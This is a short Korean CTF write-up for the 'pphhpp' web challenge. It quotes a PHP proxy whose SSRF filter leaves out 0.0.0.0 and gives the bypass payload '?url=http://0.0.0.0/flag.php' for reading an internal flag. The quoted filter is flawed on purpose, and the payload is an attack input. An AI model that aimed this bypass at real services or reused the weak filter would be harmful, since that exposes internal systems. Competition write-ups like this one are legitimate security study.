Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | ||
6 | 7 | 8 | 9 | 10 | 11 | 12 |
13 | 14 | 15 | 16 | 17 | 18 | 19 |
20 | 21 | 22 | 23 | 24 | 25 | 26 |
27 | 28 | 29 | 30 | 31 |
Tags
- blind-sqli
- web
- JS
- regex
- SECGAME
- 예전글 #CNN
- Bob
- pwn
- 예전글 #PS
- blind_sqli
- XSS
- cookie
- SQLi
- pwnable
- webhacking.kr
- Crypto
- 백준
- cce2023
- pwn.college
- PS
- cryptohack.org
- 예전글
- Pwnable.kr
- HTB
Archives
- Today
- Total
아모에요
[cce2023jr QUALS CTF] pphhpp 본문
문제 소스를 보면
[config.php]
<?php
$flag = file_get_contents("/flag");
function is_safe_url($url) {
// Allow only http(s)
if(!preg_match('/^https?:\/\/.*$/', $url)){
return false;
}
$host = parse_url($url, PHP_URL_HOST);
if(!host) {
return false;
}
$ip = gethostbyname($host);
$ip = ip2long($ip);
if($ip === false){
return false;
}
$is_inner_ipaddress = ip2long('127.0.0.0') >> 24 == $ip >> 24 or
ip2long('10.0.0.0') >> 24 == $ip >> 24 or
ip2long('172.16.0.0') >> 20 == $ip >> 20 or
ip2long('192.168.0.0') >> 16 == $ip >> 16 ;
if($is_inner_ipaddress){
return false;
}
return true;
}
extract($_GET);
?>
index.php에서 config.php를 로드한 후 ?url=http(s):// 형태로 GET 요청을 보내면 is_safe_url을 통해서 내부 IP가 아님을 검증한 후 프록시 역할을 하는 서버임을 알 수 있는데, 0.0.0.0은 필터링이 되어있지 않다.
?url=http://0.0.0.0/flag.php를 입력하면 문제가 풀리게 된다.
'Study > Hacking' 카테고리의 다른 글
[BoB] 230701 논문 요약 과제_박천성 멘토님 (0) | 2023.07.02 |
---|---|
[dreamhack.io] r3t (0) | 2023.06.20 |
[cce2023jr QUALS CTF] KMAIL (0) | 2023.06.15 |
[pwnable.kr] blackjack (0) | 2023.06.15 |
[pwnable.kr] fd (0) | 2023.06.15 |